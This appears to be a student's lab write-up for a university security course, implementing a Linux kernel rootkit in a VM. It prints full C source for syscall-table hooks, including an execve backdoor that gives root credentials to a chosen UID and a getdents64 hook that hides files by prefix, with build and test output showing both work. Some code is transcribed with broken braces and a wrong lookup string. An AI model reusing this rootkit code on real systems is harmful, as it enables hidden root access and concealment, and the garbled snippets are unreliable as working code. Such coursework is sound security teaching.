

COMP 4108A Assignment 2

Darnell Foster(101229310)

Due Date: Oct 15, 2024

Part A - Setup (7 marks)

1. Download the rootkit framework code for this assignment, available here, to your VM using the wget command. THE USERNAME AND PASSWORD CAN BE FOUND IN A POST IN THE "Announcements" DIRECTORY ON BRIGHTSPACE.
2. Run sudo bash to give yourself a bash shell with root privileges. We'll pretend that you got this from the race condition in A1. For most of this assignment you're going to be switching between a root user and a normal user, so I recommend you keep two windows open (the gurus might want to try the screen tool, or a terminal multiplexer with a somewhat steep learning curve).
3. Find the address of the sys_call_table symbol inspecting /proc/kallsyms.

The address of the syscall table is ffffffff08013c0. The command I used was:

```
$cat /proc/kallsyms | grep sys_call_table
```

I chose this command because its faster than reading through the whole table.

```
[root@COMP4108-a2:/home/student# cat /proc/kallsyms | grep sys_call_table
fffffffffb08002a0 R x32_sys_call_table
fffffffffb08013c0 R sys_call_table
fffffffffb0802400 R ia32_sys_call_table
```

4. Edit the rootkit.c file to provide the right symbol as an argument to kallsyms_lookup_name() in the get_syscall_table_bf() function. It should be the same as the symbol you found in Q3.

I edited the get_syscall_table_bf() function from the root file. \$nano root inside the a2 directory.

Before:

```
/*
 * TODO: NEEDED FOR PART A
 * Update the string provided to the kallsyms_lookup_name function
 *
 * Locates the address of the system call table using kallsyms_lookup_name
 * and returns it as an unsigned long *
 */
unsigned long * get_syscall_table_bf(void){
    unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("[NEEDED FOR PART A]");
    return syscall_table;
}
```

After:

```
/*
 * TODO: NEEDED FOR PART A
 * Update the string provided to the kallsyms_lookup_name function
 *
 * Locates the address of the system call table using kallsyms_lookup_name
 * and returns it as an unsigned long *
 */
unsigned long * get_syscall_table_bf(void){
    unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("[sys_call_table]");
    return syscall_table;
}
```

5. Confirm you can build the rootkit framework by running make. You can safely ignore the warning about defined but not used variables, as you will be fixing that as you complete the assignment.

I ran `$make` while inside the `a2` directory.

```
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
 74 | static char* magic_prefix;
    |               ^^^^^^^^^^^
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]
 62 | static int root_uid;
    |           ^^^^^^^^
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

6. Confirm you can insert the rootkit module by running `./insert.sh` as root. Ensure it was inserted by running `lsmod` and by checking the syslog.

I ran the command `$.\insert.sh` while inside the `a2` directory as the root user. I then checked it using `$lsmod`.

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
./insert.sh: line 7: 2001 Killed                  insmod rootkit.ko suffix=$SUFFIX

[root@COMP4108-a2:/home/student/a2# lsmod
Module                  Size  Used by
rootkit                 16384  0
```

I checked the syslog file by running the command `$cat /var/log/syslog`.

```
root@COMP4108-a2:/home/student/a2# cat /var/log/syslog
Oct 3 00:00:23 COMP4108-a2 rsyslogd: [origin software="rsyslogd" swVersion="8.2001.0"
Oct 3 00:00:23 COMP4108-a2 systemd[1]: logrotate.service: Succeeded.
Oct 3 00:00:23 COMP4108-a2 systemd[1]: Finished Rotate log files.
Oct 3 00:00:24 COMP4108-a2 systemd[1]: man-db.service: Succeeded.
Oct 3 00:00:24 COMP4108-a2 systemd[1]: Finished Daily man-db regeneration.
Oct 3 00:00:43 COMP4108-a2 kernel: [ 685.857526] Rootkit module initializing.
Oct 3 00:00:43 COMP4108-a2 kernel: [ 685.874860] Rootkit module is loaded!
```

7. Confirm you can remove the rootkit module by running `.eject.sh` as root. Ensure it was ejected by running `lsmod` and by checking the syslog.

I ran the command `$. \eject.sh` while inside the `a2` directory as the root user. I then checked it using `$lsmod` and `$cat /var/log/syslog`.

```
[root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# cat /var/log/syslog
Oct  3 00:00:23 COMP4108-a2 rsyslogd: [origin software="rsyslogd" swVersion="8.2001
Oct  3 00:00:23 COMP4108-a2 systemd[1]: logrotate.service: Succeeded.
Oct  3 00:00:23 COMP4108-a2 systemd[1]: Finished Rotate log files.
Oct  3 00:00:24 COMP4108-a2 systemd[1]: man-db.service: Succeeded.
Oct  3 00:00:24 COMP4108-a2 systemd[1]: Finished Daily man-db regeneration.
Oct  3 00:00:43 COMP4108-a2 kernel: [ 685.857526] Rootkit module initializing.
Oct  3 00:00:43 COMP4108-a2 kernel: [ 685.874860] Rootkit module is loaded!
Oct  3 00:00:51 COMP4108-a2 kernel: [ 693.231489] Rootkit module is unloaded!
Oct  3 00:00:51 COMP4108-a2 kernel: [ 693.231492] Rootkit module cleanup complete.
```

8. Finish the rootkit code so that the example `open()` hook works. Look for the `TODO` markers. Show a snippet of the syslog output it generates once loaded.

Based on the comments I added the following line to the `init_rootkit()` function:

- i) `unprotect_memory()`
- ii) `__sys_call_table[__NR_openat] = (unsigned long) new_openat;`
- ii) `protect_memory()`

```
// Let's store the original functions so they can be restored later
original_openat = (t_syscall) __sys_call_table[__NR_openat];

/*
 * TODO: NEEDED FOR PART A
 * Unprotect the memory by calling the appropriate function
 */
unprotect_memory();

/*
 * TODO: NEEDED FOR PART A
 * Uncomment after completing the unprotect and protect TODO's
 */

// Let's hook openat() for an example of how to use the framework
__sys_call_table[__NR_openat] = (unsigned long) new_openat;

/*
 * TODO: NEEDED FOR PARTS B AND C
 * Hook your new execve and getdents64 functions after writing them
 */

/*
 * TODO: NEEDED FOR PART A
 * Protect the memory by calling the appropriate function
 */
protect_memory();

printk(KERN_INFO "Rootkit module is loaded!\n");
return 0; // For successful load
}
```

I then tested it by using the `cat` command on a text file I made called `text.txt`. I then greped for this `openat()` syscall inside the `syslogfile`.

```
root@COMP4108-a2:~/a2# cat /var/log/syslog | grep openat
Oct 13 22:16:06 COMP4108-a2 kernel: [369198.365454] openat() called for text.txt
Oct 13 22:16:11 COMP4108-a2 kernel: [369203.290789] openat() called for text.txt
```

9. Choose 2 principles from Chapter 1.7 of the course textbook and explain how they can help mitigate rookits. The way in which the principle helps could be with mitigating rootkit effectiveness or delivery. Please clearly state any assumptions you make about type of rootkit or delivery if necessary.

(a) EVIDENCE-PRODUCTION: (Usermode and Kernel mode Rootkits)

By using tools and monitoring system events and logs you can pick up on the remnants of malicious code and its effect on the system. You can then track down the source and remove the rootkit.

(b) ISOLATED-COMPARTMENTS: (usermode rootkits)

If someone where to make a library that has a rootkit inside it and you create a program that's using this library - during dynamic linking on runtime you'd be introducing the rootkit to your code. Lets say the shared library was altered by the adversary taking advantage of a race condition and escalating privileges. By compartmentalizing system components and not letting cross communication you could prevent this escalation of privileges.

Part B - Backdoor (15 Marks)

1. [5 Marks] Write a new hook for the `execve` syscall using the framework code from Part A. Consult the `execve` man page to learn the details and function signature of `execve()`. You will need to know which `__NR_X` define is used to find the offset in `sys_call_table` to hook for `execve` (where X will vary `syscall` to `syscall`). You might find Bootlin elixir Cross Referencer - `unistd.64.h` useful in this regard.

The hook should print the name of all files being executed, and the effective UID of the user executing the file to `syslog` using `printk`. Example output:

```
Jan 28 20:49:17 COMP4108-A2 kernel: [81423.749198] Executing /usr/bin/tail
Jan 28 20:49:17 COMP4108-A2 kernel: [81423.749200] Effective UID 0
Jan 28 20:49:19 COMP4108-A2 kernel: [81425.950497] Executing /bin/ls
Jan 28 20:49:19 COMP4108-A2 kernel: [81425.950499] Effective UID 1000
```

The `current_*` macros defined in the Bootlin elixir Cross Referencer - `cred.h` include will help you get the information you need to include in your `printk` message.

Hint:

You may also find the `syscall` man page to be helpful with understanding how to access the arguments passed to the syscalls we are hooking. Using the command `uname -a` we can find the corresponding argument registers for x86-64 by looking at the second table in the Architecture Calling Conventions section, and compare this to how the `openat()` hook code is able to access the pathname argument.

B1 Answer

First I followed the comments and created a variable to store the original `execve` function and added the following lines to the necessary locations:(I found the symbol `__NR_execve` from the Bootlin elixir Cross Referencer - `cred.h`).

```
i) original_execve = (t_syscall)__sys_call_table[__NR_execve];
ii) __sys_call_table[__NR_execve] = (unsigned long) new_execve;
```

```
/*
 * TODO: NEEDED FOR PART B AND C
 * create a variable as above to store the original execve and getdents functions
 */
static t_syscall original_execve; // create a variable to store the original execve function
```

Then I created a new function with the following signature:

```
asm linkage int new_execve(const struct pt_regs* regs)
```

I used this function to hook the sys calls for `execve`. The structure of this function followed the `new_openat()` function. By checking `execve` man page I found the function signature for `execve` is as follows:

```
int execve(const char *filename, char *const argv[], char *const envp[]);
```

In `opennat()`, `filename` is the 2nd argument passed, unlike in `execve()` `filename` is the first argument. To accommodate for this when retrieving the filename. I used `$uname -a` to find the architecture of the OS, which is `x86-64`, then found the corresponding argument registers for `x86-64`. I found this table by looking in the `syscall` manpage under the Architecture Calling Conventions section.

Arch/ABI	arg1	arg2	arg3	arg4	arg5	arg6	arg7	Notes

[...]								
x86-64	rdi	rsi	rdx	r10	r8	r9	-	
[...]								

I found `di` is the register used to pass the first argument of the syscall. Which I used in the following line of code:

```
if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
```

I then used the macro: `current_euid().val`, (I found from Bootlin elixir Cross Referencer - `Cred.h`) to print the effective UID.

Execve Function:

```
//TODO: PART B execve func
asmlinkage int new_execve(const struct pt_regs* regs){
    long ret;
    char *filename; //used to print filename of proccess be executed by execve
    int euid; //used to print euid of user making the syscall for execve

    // allocate kernel memory
    filename = kmalloc(4096, GFP_KERNEL);

    // copy the filename into the kernel variable,
    if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
        //if the copying fails free the space and return
        kfree(filename);
        return 0;
    }

    //print the name of all files being executed
    printk("Executing %s\n", filename);

    //print effective UID of the user executing the file to syslog
    euid = current_euid().val;
    printk("Effective UID %d\n", euid);

    // Invoke the original execve syscall
    ret = original_execve(regs);

    return ret;
}
```

Output:

```
student@COMP4108-a2:~$ ls
a2  a2.tar.gz
```

```
[root@COMP4108-a2:/home/student/a2# tail /var/log/syslog
Oct  8 00:02:56 COMP4108-a2 kernel: [432817.161056] Executing /sbin/rmmod
Oct  8 00:02:56 COMP4108-a2 kernel: [432817.161059] Effective UID 0
Oct  8 00:02:56 COMP4108-a2 kernel: [432817.166338] Rootkit module is unloaded!
Oct  8 00:02:56 COMP4108-a2 kernel: [432817.166357] Rootkit module cleanup complete.
Oct  8 00:02:58 COMP4108-a2 kernel: [432819.206014] Rootkit module initializing.
Oct  8 00:02:58 COMP4108-a2 kernel: [432819.224639] Rootkit module is loaded!
Oct  8 00:03:03 COMP4108-a2 kernel: [432824.948760] Executing /bin/ls
Oct  8 00:03:03 COMP4108-a2 kernel: [432824.948765] Effective UID 1001
Oct  8 00:03:05 COMP4108-a2 kernel: [432826.817206] Executing /usr/bin/tail
Oct  8 00:03:05 COMP4108-a2 kernel: [432826.817210] Effective UID 0
```

2. [10 Marks] Modify your hook code so that when the effective UID of the user executing an executable is equal to the value of the `root_uid` parameter, they are given `uid/euid 0` (i.e. root privs). The `root_uid` parameter must be provided via the `insmod` command in `insert.sh`. Note that the `root_uid` parameter should be set to your user's UID to get root, not root's UID. You will need to add this behaviour.

In order to get full marks you must demonstrate the module working. Set the `root_uid` param in `insert.sh` equal to your user's UID, and provide the input/output from:

- a. Building the module code
- b. Running `whoami` as a normal user in one terminal
- c. Inserting the module as a root user by running `./insert.sh` in a second terminal.
- d. In your normal user terminal running `whoami` again and being told you are root.

Example output (from normal user term):

```
comp4108@NodeX:/A2/code/rootkit_framework$ whoami
comp4108
comp4108@NodeX:/A2/code/rootkit_framework$ whoami
root
```

B2 Answer

First I edited the `insert.sh` file by adding the `root_uid` using the `insmod` command as follows:

```
1  #!/bin/bash
2
3  # Specify the extension suffix for the openat hook code
4  SUFFIX=.txt
5  ROOT_UID=1001 #set ROOT_UID to USER's UID
6
7  #Insert the rootkit module, providing some parameters
8  insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID
```

Then I added the following lines to the `rootkit` to be able to retrieve the `root_uid` value:

```
static int root_uid;
module_param(root_uid, int, 0);
MODULE_PARM_DESC(root_uid, "Received root_uid parameter");
```

Then Inside the `new_execve` function, I used the functions `prepare_kernel_cred()` and `commit_creds()` which I read about in the header and source code from Bootlin Elixir Cross Referencer. To use these functions I needed to create a new variable `struct cred *credentials;`. I check if the effective user ID of the current task matches `root_uid`. If so, we proceed to elevate the privileges. `prepare_kernel_cred(NULL)` function prepares a new set of credentials for the task. If passed `NULL`, it generates credentials equivalent to a root process. The `commit_creds(credentials)` function replaces the current task's credentials with the new kernel credentials prepared by the `prepare_kernel_cred(NULL)` function, thus elevating the environment to root privileges.

```

new_execve:
*/
asmlinkage int new_execve(const struct pt_regs* regs){
    long ret;
    char *filename; //used to print filename of process
    int euid; //used to print euid of user making the sys
    struct cred *credentials;

    // allocate kernel memory
    filename = kmalloc(4096, GFP_KERNEL);

    // copy the filename into the kernel variable,
    if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0)
        //if the copying fails free the space and return
        kfree(filename);
    return 0;
}

//print the name of all files being executed
printk("Executing %s\n", filename);

//print effective UID of the user executing the file
euid = current_euid().val;
printk("Effective UID %d\n", euid);

//when the effective UID of the user executing an exe
if(euid == root_uid){
    //give uid/euid 0 (i.e. root privs)

    //Prepare a set of credentials for a kernel service
    credentials = prepare_kernel_cred(NULL);

    //Install new credentials upon the current task
    commit_creds(credentials);
}

//free kernel memory
kfree(filename);

// Invoke the original execve syscall
ret = original_execve(regs);

return ret;
}

```

Output:

```

root@COMP4108-a2:/home/student/a2# make clean
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 clean
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:76:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
   76 | static char* magic_prefix;
      |               ^^^^^^^^^^^
Building modules, stage 2.
MODPOST 1 modules
  CC [M] /home/student/a2/rootkit.mod.o
  LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2#

```

```

[student@COMP4108-a2:~$ whoami
student
[student@COMP4108-a2:~$ whoami
root
[student@COMP4108-a2:~$

```

Part C - File Cloaking (25 Marks)

With your handy new backdoor from Part B you could come back to the system at anytime and act as the root user without needing to exploit your treasured race condition privilege escalation. From a kernel module most anything inside the kernel is fair game to be edited and messed with. In general you just have to find it, understand it, and modify it for your own purposes, without causing the system to crash when your modified code is executed in place of the original. In this part you will be subverting the interaction between binaries like `ls` and the OS provided directory abstraction.

1. [10 Marks] Write a hook for the `getdents64` system call (man page here). Once again this will require finding the `__NR_*` define for the syscall number.

You will want to familiarize yourself with the `linux_dirent` structure. Your hook code should print the name of all directory entries returned by a call to `getdents64()` to syslog using `printk`. Sample output:

```
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441674] getdents64() hook invoked.
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441704] entry: rootkit.o
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441706] entry: .rootkit.mod.o.cmd
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441708] entry: ..
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441710] entry: insert.sh
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441711] entry: rootkit.c
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441712] entry: rootkit.mod.c
Oct  1 11:44:36 COMP4108-A2 kernel: [ 2266.441714] entry: rootkit.ko
<snipped>
```

C1 Answer:

I created a function `new_getdents64()`. I used the links given to find the system symbol and followed the pattern like in the previous questions for storing the original function call and making the hook for the function.

```
// Let's store the original functions so they can be restored later
original_openat = (t_syscall)__sys_call_table[__NR_openat];
original_execve = (t_syscall)__sys_call_table[__NR_execve];
original_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];

/*
 * TODO: NEEDED FOR PART A
 * Unprotect the memory by calling the appropriate function
 */
unprotect_memory();

/*
 * TODO: NEEDED FOR PART A
 * Uncomment after completing the unprotect and protect TODO's
 */

// Let's hook openat() for an example of how to use the framework
__sys_call_table[__NR_openat] = (unsigned long) new_openat;

/*
 * TODO: NEEDED FOR PARTS B AND C
 * Hook your new execve and getdents64 functions after writing them
 */

// Let's hook execve() for privilege excalation
__sys_call_table[__NR_execve] = (unsigned long) new_execve;

// Let's hook getdents64() to hide our files
__sys_call_table[__NR_getdents64] = (unsigned long) new_getdents64;
```

In the `new_getdents64()` function, I call the original `getdents64()` syscall the hook received to get the `dirp` buffer populated with `dirent` structs. I then allocate a kernel buffer of the correct size using `kmalloc` and copy the userland buffer into it using `copy_from_user`. I then iterate through the buffer and print out the `dirent` struct names to the syslog. This loop is similar to the one found in the `getdents64` manpage.

new_getdents64 Function:

```
asmlinkage int new_getdents64(const struct pt_regs* regs){
    long ret;
    struct linux_dirent64 *buffer; // used to copy directory list to kernel
    struct linux_dirent64 *d; // used to iterate through directory list
    int bpos; // used to iterate through list of directories

    // Invoke the original getdents64 syscall
    ret = original_getdents64(regs);

    // Return because it's the end of file or an error
    if (ret <= 0) {
        return ret;
    }

    // Allocate kernel memory
    buffer = kmalloc(ret, GFP_KERNEL);

    // Copy the userland buffer into your kernel buffer using copy_from_user
    if (copy_from_user(buffer, (void *)regs->si, ret)) {
        kfree(buffer);
        return ret;
    }

    printk("getdents64() hook invoked.\n");

    // Loop through the directory entries
    for (bpos = 0; bpos < ret; ) {
        d = (struct linux_dirent64 *)((char *)buffer + bpos);
        printk("entry: %s\n", d->d_name);
        bpos += d->d_reclen;
    }

    // Free the allocated memory
    kfree(buffer);

    // Return the result of the new getdents64 syscall
    return ret;
}
```


Syslogs Output:

```
Oct 9 16:27:57 COMP4108-a2 kernel: [ 2713.141044] Executing /bin/ls
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.141049] Effective UID 0
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143732] getdents64() hook invoked.
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143735] entry: rootkit.o
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143738] entry: .rootkit.mod.o.cmd
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143740] entry: ..
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143742] entry: insert.sh
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143745] entry: rootkit.c
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143747] entry: rootkit.mod.c
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143750] entry: rootkit.ko
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143752] entry: .rootkit.ko.cmd
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143755] entry: Makefile
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143757] entry: modules.order
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143760] entry: rootkit.mod.o
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143762] entry: .rootkit.o.cmd
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143765] entry: eject.sh
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143767] entry: .
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143770] entry: .rootkit.mod.cmd
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143772] entry: Module.symvers
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143775] entry: rootkit.mod
Oct 9 16:28:00 COMP4108-a2 kernel: [ 2713.143777] entry: rootkit.c.save
```

2. [15 Marks] Modify your hook such that the `struct linux_dirent*` buffer you return to the calling process does not include any dirents for filenames that start with `magic_prefix`. The `magic_prefix` character array should be provided as a kernel module parameter given to `insmod` in the `insert.sh` script. You will need to implement this parameter yourself.

After coding your `getdents64` hook and implementing the `magic_prefix` parameter you'll want to test it in action:

- Edit the `insert.sh` script and set the `magic_prefix` parameter to `sys`
- Compile your module by running `make`
- Create a file called `sys_lol_hidden.txt` in your current directory.
- Perform a `ls -l` to see if your `sys_lol_hidden.txt` file was created.
- Insert the kernel module by running the insert script `./insert.sh` as root.
- Run the same `ls -l` command to validate the `sys_lol_hidden.txt` file is no longer included. It shouldn't be in `ls -la` either (i.e. isn't just a regular 'hidden' dotfile).

Example output (from normal user term):

```
comp4108@COMP4108-A2:/A2/code/rootkit_framework/test$ touch \ $sys\$_lol_hidden.txt
comp4108@COMP4108-A2:/A2/code/rootkit_framework/test$ ls -la
total 8
-rw-rw-r-- 1 comp4108 comp4108 0 Oct  1 11:59 bar.txt
-rw-rw-r-- 1 comp4108 comp4108 0 Oct  1 11:59 baz.txt
-rw-rw-r-- 1 comp4108 comp4108 0 Oct  1 11:59 foo.txt
-rw-rw-r-- 1 comp4108 comp4108 0 Oct  1 12:00 $sys$_lol_hidden.txt
comp4108@COMP4108-A2:/A2/code/rootkit_framework/test$ ls -la
total 8
drwxrwxr-x 2 comp4108 comp4108 4096 Oct  1 12:00 .
drwxrwxr-x 5 comp4108 comp4108 4096 Oct  1 11:59 ..
-rw-rw-r-- 1 comp4108 comp4108    0 Oct  1 11:59 bar.txt
-rw-rw-r-- 1 comp4108 comp4108    0 Oct  1 11:59 baz.txt
-rw-rw-r-- 1 comp4108 comp4108    0 Oct  1 11:59 foo.txt
```

C2 Answer:

First I added `magic_prefix` as a kernel module parameter.

`insert.sh`

```
1  #!/bin/bash
2
3  # Specify the extension suffix for the openat hook code
4  SUFFIX=.txt
5  ROOT_UID=1001 #set ROOT_UID to USER's UID
6  MAGIC_PREFIX=\$sys\$
7
8  #Insert the rootkit module, providing some parameters
9  insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID magic_prefix=$MAGIC_PREFIX
```

`rootkit.c`

```
77  static char* magic_prefix;
78  module_param(magic_prefix, charp, 0);
79  MODULE_PARM_DESC(magic_prefix, "Received magic_prefix parameter");
```

I then went to the `new_getdents64` function and added the following inside the loop that iterates through the `dirent` structs:

```
// if directory entry starts with magic_prefix remove it
if (strncmp(d->d_name, magic_prefix, lengthPrefix) != 0) {n
    // Copy the entire directory entry, including its filename and padding
    memcpy((char *)buffer + new_bpos, d, d->d_reclen);
    new_bpos += d->d_reclen;
}
```

What I'm doing is checking if the directory name doesn't match the magic prefix if so then copy it into the buffer at `new_bpos`, so any word that would match would get skipped. I then copied the buffer back into the user space, and returned the number of bytes I wrote into the buffer instead of the original call.

new_getdents64 Function:

```
struct linux_dirent64 *buffer; // used to copy directory list to kernel
struct linux_dirent64 *d; // used to iterate through directory list
int bpos; // used to iterate through list of directories
int new_bpos = 0;
int lengthPrefix = 0;

// Invoke the original getdents64 syscall
ret = original_getdents64(regs);

// Return because it's the end of file or an error
if (ret <= 0) {
    return ret;
}

// Allocate kernel memory
buffer = kmalloc(ret, GFP_KERNEL);

//grab the length of the prefix word for removing files that contain it
lengthPrefix = strlen(magic_prefix);

// Copy the userland buffer into your kernel buffer using copy_from_user
if (copy_from_user(buffer, (void *)regs->si, ret)) {
    kfree(buffer);
    return ret;
}

printk("getdents64() hook invoked.\n");
// printk("FOUND ENTRY WITH PREFIX:%s\n", magic_prefix);

// Loop through the directory entries
for (bpos = 0; bpos < ret; ) {
    d = (struct linux_dirent64 *)((char *)buffer + bpos);
    printk("entry: %s\n", d->d_name);
    bpos += d->d_reclen;

    // if directory entry starts with magic_prefix remove it
    if (strncmp(d->d_name, magic_prefix, lengthPrefix) != 0) {
        // Copy the entire directory entry, including its filename and padding
        memcpy((char *)buffer + new_bpos, d, d->d_reclen);
        new_bpos += d->d_reclen;
    }
}

//copy kernel space data to userspace
copy_to_user((void *)regs->si, buffer, new_bpos);

// Free the allocated memory
kfree(buffer);

// Return the result of the new getdents64 syscall
return new_bpos;
```

Example output:

```

root@COMP4108-a2:/home/student/a2# ls -la
total 192
drwxrwxr-x  2 student student 4096 Oct 14 02:36 .
drwxr-xr-x 11 student student 4096 Oct  9 15:58 ..
-rw-r--r--  1 root    root      0 Oct 14 02:23 '$sys$_lol_hidden.txt'
-rwxrwxr-x  1 student student  107 Oct  8 00:56 eject.sh
-rwxrwxr-x  1 student student  277 Oct 14 02:20 insert.sh
-rw-rw-r--  1 student student  174 Oct  7 21:02 Makefile
-rw-r--r--  1 root    root       28 Oct 14 02:36 modules.order
-rw-r--r--  1 root    root       0 Oct 14 02:36 Module.symvers
-rw-rw-r--  1 student student 10814 Oct 14 02:51 rootkit.c
-rw-rw-r--  1 student student 13991 Oct  7 19:38 rootkit.c.save
-rw-r--r--  1 root    root     12944 Oct 14 02:36 rootkit.ko
-rw-r--r--  1 root    root       238 Oct 14 02:36 .rootkit.ko.cmd
-rw-r--r--  1 root    root       28 Oct 14 02:36 rootkit.mod
-rw-r--r--  1 root    root     1429 Oct 14 02:36 rootkit.mod.c
-rw-r--r--  1 root    root       112 Oct 14 02:36 .rootkit.mod.cmd
-rw-r--r--  1 root    root     4408 Oct 14 02:36 rootkit.mod.o
-rw-r--r--  1 root    root    30946 Oct 14 02:36 .rootkit.mod.o.cmd
-rw-r--r--  1 root    root     9872 Oct 14 02:36 rootkit.o
-rw-r--r--  1 root    root    49769 Oct 14 02:36 .rootkit.o.cmd
-rw-rw-r--  1 root    root        6 Oct 13 22:16 text.txt
root@COMP4108-a2:/home/student/a2# ./insert.sh && ls -la
total 192
drwxrwxr-x  2 student student 4096 Oct 14 02:36 .
drwxr-xr-x 11 student student 4096 Oct  9 15:58 ..
-rwxrwxr-x  1 student student  107 Oct  8 00:56 eject.sh
-rwxrwxr-x  1 student student  277 Oct 14 02:20 insert.sh
-rw-rw-r--  1 student student  174 Oct  7 21:02 Makefile
-rw-r--r--  1 root    root       28 Oct 14 02:36 modules.order
-rw-r--r--  1 root    root       0 Oct 14 02:36 Module.symvers
-rw-rw-r--  1 student student 10814 Oct 14 02:51 rootkit.c
-rw-rw-r--  1 student student 13991 Oct  7 19:38 rootkit.c.save
-rw-r--r--  1 root    root     12944 Oct 14 02:36 rootkit.ko
-rw-r--r--  1 root    root       238 Oct 14 02:36 .rootkit.ko.cmd
-rw-r--r--  1 root    root       28 Oct 14 02:36 rootkit.mod
-rw-r--r--  1 root    root     1429 Oct 14 02:36 rootkit.mod.c
-rw-r--r--  1 root    root       112 Oct 14 02:36 .rootkit.mod.cmd
-rw-r--r--  1 root    root     4408 Oct 14 02:36 rootkit.mod.o
-rw-r--r--  1 root    root    30946 Oct 14 02:36 .rootkit.mod.o.cmd
-rw-r--r--  1 root    root     9872 Oct 14 02:36 rootkit.o
-rw-r--r--  1 root    root    49769 Oct 14 02:36 .rootkit.o.cmd
-rw-rw-r--  1 root    root        6 Oct 13 22:16 text.txt

```